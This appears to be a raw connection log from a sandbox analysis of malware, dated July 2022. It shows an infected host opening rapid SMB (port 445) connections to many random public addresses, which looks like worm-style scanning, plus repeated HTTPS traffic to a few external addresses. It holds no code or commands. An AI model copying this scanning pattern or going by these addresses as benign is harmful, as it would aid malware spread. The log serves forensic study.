Jul 20, 2022 19:31:07.887233973 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.888005018 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.888010979 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.888029099 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.888219118 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.904259920 CEST	50648	445	192.168.2.7	29.39.235.254
Jul 20, 2022 19:31:07.904346943 CEST	50650	445	192.168.2.7	53.114.207.100
Jul 20, 2022 19:31:07.904354095 CEST	50649	445	192.168.2.7	174.67.52.142
Jul 20, 2022 19:31:07.904438972 CEST	50651	445	192.168.2.7	156.27.253.52
Jul 20, 2022 19:31:07.904509068 CEST	50652	445	192.168.2.7	157.32.59.16
Jul 20, 2022 19:31:07.904561043 CEST	50653	445	192.168.2.7	58.229.200.69
Jul 20, 2022 19:31:07.904613018 CEST	50654	445	192.168.2.7	55.129.108.17
Jul 20, 2022 19:31:07.904712915 CEST	50656	445	192.168.2.7	160.207.227.27
Jul 20, 2022 19:31:07.904783964 CEST	50657	445	192.168.2.7	137.177.71.174
Jul 20, 2022 19:31:07.904793024 CEST	50655	445	192.168.2.7	194.200.232.3
Jul 20, 2022 19:31:07.904817104 CEST	50658	445	192.168.2.7	137.155.19.61
Jul 20, 2022 19:31:07.927531958 CEST	50659	445	192.168.2.7	52.8.68.161
Jul 20, 2022 19:31:07.943998098 CEST	50660	445	192.168.2.7	36.60.77.99
Jul 20, 2022 19:31:07.995198965 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.995227098 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.995259047 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:07.995434999 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.996073008 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.996362925 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.997308969 CEST	50589	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:07.997322083 CEST	443	50589	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:08.006890059 CEST	50661	445	192.168.2.7	106.147.180.223
Jul 20, 2022 19:31:08.007069111 CEST	50662	445	192.168.2.7	36.60.22.70
Jul 20, 2022 19:31:08.007117033 CEST	50663	445	192.168.2.7	202.82.240.68
Jul 20, 2022 19:31:08.007250071 CEST	50664	445	192.168.2.7	147.142.60.47
Jul 20, 2022 19:31:08.023890972 CEST	50665	445	192.168.2.7	99.33.57.105
Jul 20, 2022 19:31:08.023943901 CEST	50666	445	192.168.2.7	131.116.72.167
Jul 20, 2022 19:31:08.024027109 CEST	50667	445	192.168.2.7	196.154.125.119
Jul 20, 2022 19:31:08.024133921 CEST	50669	445	192.168.2.7	208.243.131.52
Jul 20, 2022 19:31:08.024214983 CEST	50668	445	192.168.2.7	175.190.54.187
Jul 20, 2022 19:31:08.024297953 CEST	50670	445	192.168.2.7	65.155.150.144
Jul 20, 2022 19:31:08.024315119 CEST	50671	445	192.168.2.7	171.37.78.144
Jul 20, 2022 19:31:08.188230991 CEST	50672	445	192.168.2.7	115.142.146.174
Jul 20, 2022 19:31:08.445147038 CEST	50673	445	192.168.2.7	80.141.51.223
Jul 20, 2022 19:31:08.732496977 CEST	50674	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:08.791520119 CEST	445	50674	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:08.791657925 CEST	50674	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:08.791695118 CEST	50674	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:08.794066906 CEST	50675	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:08.819924116 CEST	50676	445	192.168.2.7	115.97.203.126
Jul 20, 2022 19:31:08.849814892 CEST	445	50674	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:08.851366043 CEST	445	50674	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:08.851382971 CEST	445	50675	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:08.852919102 CEST	50675	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:08.853344917 CEST	50675	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:08.913027048 CEST	445	50675	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:08.913444996 CEST	50675	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:08.971132040 CEST	445	50675	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:08.971453905 CEST	50675	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:09.030308962 CEST	445	50675	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:09.034665108 CEST	50678	445	192.168.2.7	92.228.37.163
Jul 20, 2022 19:31:09.034796953 CEST	50681	445	192.168.2.7	64.136.100.120
Jul 20, 2022 19:31:09.034825087 CEST	50679	445	192.168.2.7	223.38.177.189
Jul 20, 2022 19:31:09.034830093 CEST	50680	445	192.168.2.7	111.111.238.243
Jul 20, 2022 19:31:09.034923077 CEST	50682	445	192.168.2.7	72.146.83.60
Jul 20, 2022 19:31:09.035011053 CEST	50683	445	192.168.2.7	153.189.31.161
Jul 20, 2022 19:31:09.035051107 CEST	50684	445	192.168.2.7	75.149.229.226
Jul 20, 2022 19:31:09.035109043 CEST	50685	445	192.168.2.7	160.172.120.251
Jul 20, 2022 19:31:09.035139084 CEST	50686	445	192.168.2.7	223.235.67.133
Jul 20, 2022 19:31:09.035218954 CEST	50687	445	192.168.2.7	2.232.134.87
Jul 20, 2022 19:31:09.052330971 CEST	50688	445	192.168.2.7	40.149.165.149
Jul 20, 2022 19:31:09.094369888 CEST	50689	445	192.168.2.7	125.178.74.45
Jul 20, 2022 19:31:09.131277084 CEST	50690	445	192.168.2.7	163.223.36.192
Jul 20, 2022 19:31:09.132110119 CEST	50692	445	192.168.2.7	58.88.246.15
Jul 20, 2022 19:31:09.132122993 CEST	50691	445	192.168.2.7	167.234.170.99
Jul 20, 2022 19:31:09.132231951 CEST	50693	445	192.168.2.7	212.126.59.236
Jul 20, 2022 19:31:09.148330927 CEST	50694	445	192.168.2.7	128.12.178.5
Jul 20, 2022 19:31:09.148504019 CEST	50695	445	192.168.2.7	203.2.237.245
Jul 20, 2022 19:31:09.148619890 CEST	50696	445	192.168.2.7	220.193.152.128
Jul 20, 2022 19:31:09.148621082 CEST	50697	445	192.168.2.7	143.189.43.148
Jul 20, 2022 19:31:09.148731947 CEST	50698	445	192.168.2.7	9.190.33.27
Jul 20, 2022 19:31:09.148735046 CEST	50699	445	192.168.2.7	95.137.206.211
Jul 20, 2022 19:31:09.148813963 CEST	50700	445	192.168.2.7	20.43.71.107
Jul 20, 2022 19:31:09.174820900 CEST	445	50693	212.126.59.236	192.168.2.7
Jul 20, 2022 19:31:09.308155060 CEST	50701	445	192.168.2.7	142.49.106.94
Jul 20, 2022 19:31:09.569892883 CEST	50702	445	192.168.2.7	149.216.85.133
Jul 20, 2022 19:31:09.676443100 CEST	50693	445	192.168.2.7	212.126.59.236
Jul 20, 2022 19:31:09.717880011 CEST	445	50693	212.126.59.236	192.168.2.7
Jul 20, 2022 19:31:09.927392960 CEST	50703	445	192.168.2.7	55.230.21.24
Jul 20, 2022 19:31:10.138911963 CEST	50704	445	192.168.2.7	121.34.33.44
Jul 20, 2022 19:31:10.139482975 CEST	50705	445	192.168.2.7	50.51.224.162
Jul 20, 2022 19:31:10.140001059 CEST	50706	445	192.168.2.7	17.143.155.159
Jul 20, 2022 19:31:10.140657902 CEST	50707	445	192.168.2.7	89.252.118.224
Jul 20, 2022 19:31:10.141238928 CEST	50708	445	192.168.2.7	73.211.100.122
Jul 20, 2022 19:31:10.141761065 CEST	50709	445	192.168.2.7	202.162.74.138
Jul 20, 2022 19:31:10.142435074 CEST	50710	445	192.168.2.7	68.54.57.122
Jul 20, 2022 19:31:10.143394947 CEST	50711	445	192.168.2.7	124.79.187.234
Jul 20, 2022 19:31:10.162781954 CEST	50712	445	192.168.2.7	199.17.205.37
Jul 20, 2022 19:31:10.163626909 CEST	50713	445	192.168.2.7	46.152.125.169
Jul 20, 2022 19:31:10.164365053 CEST	50714	445	192.168.2.7	201.231.50.247
Jul 20, 2022 19:31:10.189302921 CEST	50715	445	192.168.2.7	71.180.251.28
Jul 20, 2022 19:31:10.208810091 CEST	50716	445	192.168.2.7	187.183.122.217
Jul 20, 2022 19:31:10.255640030 CEST	50717	445	192.168.2.7	81.145.92.69
Jul 20, 2022 19:31:10.256688118 CEST	50718	445	192.168.2.7	4.67.187.182
Jul 20, 2022 19:31:10.257550955 CEST	50719	445	192.168.2.7	104.86.189.151
Jul 20, 2022 19:31:10.258512974 CEST	50720	445	192.168.2.7	97.131.87.19
Jul 20, 2022 19:31:10.271420002 CEST	50721	445	192.168.2.7	3.4.192.34
Jul 20, 2022 19:31:10.272166014 CEST	50722	445	192.168.2.7	156.235.132.183
Jul 20, 2022 19:31:10.273252964 CEST	50723	445	192.168.2.7	42.215.179.249
Jul 20, 2022 19:31:10.274151087 CEST	50724	445	192.168.2.7	22.73.180.114
Jul 20, 2022 19:31:10.274993896 CEST	50725	445	192.168.2.7	86.152.226.208
Jul 20, 2022 19:31:10.275742054 CEST	50726	445	192.168.2.7	198.146.91.133
Jul 20, 2022 19:31:10.276494026 CEST	50727	445	192.168.2.7	104.64.131.231
Jul 20, 2022 19:31:10.431289911 CEST	50728	445	192.168.2.7	87.218.14.122
Jul 20, 2022 19:31:10.693166018 CEST	50729	445	192.168.2.7	43.36.215.156
Jul 20, 2022 19:31:10.851404905 CEST	50730	445	192.168.2.7	5.100.205.204
Jul 20, 2022 19:31:11.063540936 CEST	50731	445	192.168.2.7	14.153.10.252
Jul 20, 2022 19:31:11.128364086 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.128413916 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.128968000 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.141247988 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.141280890 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.229162931 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.229279995 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.233171940 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.233196020 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.233527899 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.239444971 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.239479065 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.239490032 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.239643097 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.255530119 CEST	50733	445	192.168.2.7	157.189.140.15
Jul 20, 2022 19:31:11.256372929 CEST	50734	445	192.168.2.7	23.109.126.108
Jul 20, 2022 19:31:11.257154942 CEST	50735	445	192.168.2.7	175.23.136.119
Jul 20, 2022 19:31:11.257952929 CEST	50736	445	192.168.2.7	166.247.33.249
Jul 20, 2022 19:31:11.260962963 CEST	50737	445	192.168.2.7	214.188.0.206
Jul 20, 2022 19:31:11.261667967 CEST	50738	445	192.168.2.7	157.163.233.150
Jul 20, 2022 19:31:11.262775898 CEST	50739	445	192.168.2.7	213.92.181.110
Jul 20, 2022 19:31:11.263694048 CEST	50740	445	192.168.2.7	163.82.77.141
Jul 20, 2022 19:31:11.266813993 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.266923904 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.267106056 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.267349958 CEST	50732	443	192.168.2.7	20.199.120.85
Jul 20, 2022 19:31:11.267371893 CEST	443	50732	20.199.120.85	192.168.2.7
Jul 20, 2022 19:31:11.301311016 CEST	50741	445	192.168.2.7	44.114.76.250
Jul 20, 2022 19:31:11.301405907 CEST	50742	445	192.168.2.7	161.185.104.140
Jul 20, 2022 19:31:11.302227974 CEST	50743	445	192.168.2.7	3.180.81.73
Jul 20, 2022 19:31:11.302335024 CEST	50744	445	192.168.2.7	123.15.76.59
Jul 20, 2022 19:31:11.315515041 CEST	445	50734	23.109.126.108	192.168.2.7
Jul 20, 2022 19:31:11.333580971 CEST	50745	445	192.168.2.7	50.107.80.72
Jul 20, 2022 19:31:11.381623983 CEST	50746	445	192.168.2.7	171.29.37.220
Jul 20, 2022 19:31:11.382631063 CEST	50747	445	192.168.2.7	37.145.111.121
Jul 20, 2022 19:31:11.383512974 CEST	50748	445	192.168.2.7	31.187.248.9
Jul 20, 2022 19:31:11.384274006 CEST	50749	445	192.168.2.7	171.108.141.243
Jul 20, 2022 19:31:11.408220053 CEST	50750	445	192.168.2.7	137.127.253.0
Jul 20, 2022 19:31:11.408519030 CEST	50751	445	192.168.2.7	219.135.160.190
Jul 20, 2022 19:31:11.412985086 CEST	50752	445	192.168.2.7	164.225.193.37
Jul 20, 2022 19:31:11.413764954 CEST	50753	445	192.168.2.7	207.16.3.117
Jul 20, 2022 19:31:11.414453030 CEST	50754	445	192.168.2.7	91.231.185.125
Jul 20, 2022 19:31:11.415622950 CEST	50755	445	192.168.2.7	88.152.12.205
Jul 20, 2022 19:31:11.415766001 CEST	50756	445	192.168.2.7	14.65.140.96
Jul 20, 2022 19:31:11.536885977 CEST	50757	445	192.168.2.7	175.236.12.97
Jul 20, 2022 19:31:11.832843065 CEST	50734	445	192.168.2.7	23.109.126.108
Jul 20, 2022 19:31:11.852925062 CEST	50758	445	192.168.2.7	193.15.219.207
Jul 20, 2022 19:31:11.891624928 CEST	445	50734	23.109.126.108	192.168.2.7
Jul 20, 2022 19:31:11.975244999 CEST	50759	445	192.168.2.7	195.247.75.17
Jul 20, 2022 19:31:12.037029028 CEST	50760	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:12.094690084 CEST	445	50760	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:12.094805002 CEST	50760	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:12.094983101 CEST	50760	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:12.150998116 CEST	445	50760	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:12.151104927 CEST	445	50760	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:12.151320934 CEST	50760	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:12.179662943 CEST	50761	445	192.168.2.7	99.39.151.34
Jul 20, 2022 19:31:12.209517956 CEST	445	50760	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:12.209794998 CEST	50760	445	192.168.2.7	213.142.151.18
Jul 20, 2022 19:31:12.267741919 CEST	445	50760	213.142.151.18	192.168.2.7
Jul 20, 2022 19:31:12.334162951 CEST	50762	445	192.168.2.7	213.142.151.19
Jul 20, 2022 19:31:12.383310080 CEST	50763	445	192.168.2.7	140.13.216.3
Jul 20, 2022 19:31:12.384181976 CEST	50764	445	192.168.2.7	117.34.173.215
Jul 20, 2022 19:31:12.384450912 CEST	50765	445	192.168.2.7	175.31.239.168
Jul 20, 2022 19:31:12.384602070 CEST	50766	445	192.168.2.7	60.181.160.96
Jul 20, 2022 19:31:12.384721041 CEST	50767	445	192.168.2.7	78.68.51.4
Jul 20, 2022 19:31:12.384809017 CEST	50768	445	192.168.2.7	98.57.221.108
Jul 20, 2022 19:31:12.384924889 CEST	50769	445	192.168.2.7	29.108.237.153
Jul 20, 2022 19:31:12.385024071 CEST	50770	445	192.168.2.7	15.178.189.32
Jul 20, 2022 19:31:12.413482904 CEST	50771	445	192.168.2.7	158.90.250.85
Jul 20, 2022 19:31:12.413500071 CEST	50772	445	192.168.2.7	61.158.192.86
Jul 20, 2022 19:31:12.413614988 CEST	50773	445	192.168.2.7	2.82.204.250
Jul 20, 2022 19:31:12.486581087 CEST	50775	445	192.168.2.7	135.115.198.104
Jul 20, 2022 19:31:12.505762100 CEST	50776	445	192.168.2.7	63.231.211.109
Jul 20, 2022 19:31:12.506453991 CEST	50777	445	192.168.2.7	28.181.183.67
Jul 20, 2022 19:31:12.507122993 CEST	50778	445	192.168.2.7	171.122.14.73
Jul 20, 2022 19:31:12.524723053 CEST	50779	445	192.168.2.7	45.182.227.44
Jul 20, 2022 19:31:12.524934053 CEST	50781	445	192.168.2.7	128.60.22.211
Jul 20, 2022 19:31:12.537298918 CEST	50782	445	192.168.2.7	35.115.233.224
Jul 20, 2022 19:31:12.538949966 CEST	50783	445	192.168.2.7	70.157.203.146
Jul 20, 2022 19:31:12.539087057 CEST	50784	445	192.168.2.7	115.170.130.180
Jul 20, 2022 19:31:12.539112091 CEST	50785	445	192.168.2.7	50.58.165.80
Jul 20, 2022 19:31:12.539225101 CEST	50786	445	192.168.2.7	81.189.64.169
Jul 20, 2022 19:31:12.662096977 CEST	50787	445	192.168.2.7	174.49.148.14
Jul 20, 2022 19:31:12.851878881 CEST	50788	445	192.168.2.7	193.2.161.168
Jul 20, 2022 19:31:12.974514961 CEST	50789	445	192.168.2.7	73.22.124.179
Jul 20, 2022 19:31:13.099657059 CEST	50790	445	192.168.2.7	64.14.156.31
Jul 20, 2022 19:31:13.302712917 CEST	50791	445	192.168.2.7	166.31.225.150
Jul 20, 2022 19:31:13.325959921 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.326019049 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.326117992 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.326392889 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.326409101 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.361381054 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.361495018 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.362087011 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.365263939 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.365324020 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.411930084 CEST	50793	445	192.168.2.7	213.142.151.20
Jul 20, 2022 19:31:13.437689066 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.437719107 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.437741041 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.437817097 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.437851906 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.437866926 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.437910080 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.437935114 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.441365957 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.441396952 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.441473961 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.441502094 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.441528082 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.441557884 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.442285061 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.442372084 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.442399979 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.442436934 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.442470074 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.442482948 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.442523956 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.442550898 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.460012913 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.460108995 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.460124969 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.460155964 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.460181952 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.460206985 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.460208893 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.460227013 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.460283041 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.461163044 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.461208105 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.461302996 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.461318016 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.461365938 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.461395025 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478022099 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478075981 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478137016 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478167057 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478190899 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478219986 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478225946 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478260994 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478293896 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478333950 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478388071 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478432894 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478468895 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478482008 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.478526115 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.478553057 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.479959011 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.479993105 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.480062008 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.480082989 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.480132103 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.480161905 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.480845928 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.480950117 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.483966112 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.484035969 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.484124899 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.484149933 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.484168053 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.484191895 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.487838984 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.487912893 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.487946033 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.487968922 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.487998962 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.488009930 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.488025904 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.488038063 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.488076925 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.488081932 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.488111019 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.488131046 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.488143921 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.488193989 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.488231897 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.494007111 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.494044065 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.494096041 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.494141102 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.494168997 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.494227886 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.494283915 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.497952938 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498004913 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498094082 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.498100996 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498122931 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498164892 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.498171091 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498207092 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.498220921 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498250008 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.498279095 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.498294115 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498307943 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.498357058 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.501183033 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.501285076 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.501385927 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.501470089 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.501499891 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.501526117 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.501569033 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.501837015 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.501918077 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.503659010 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.503686905 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.503751993 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.503772020 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.503793001 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.503817081 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.505393982 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.505431890 CEST	443	50792	80.67.82.211	192.168.2.7
Jul 20, 2022 19:31:13.505487919 CEST	50792	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:31:13.505507946 CEST	443	50792	80.67.82.211	192.168.2.7
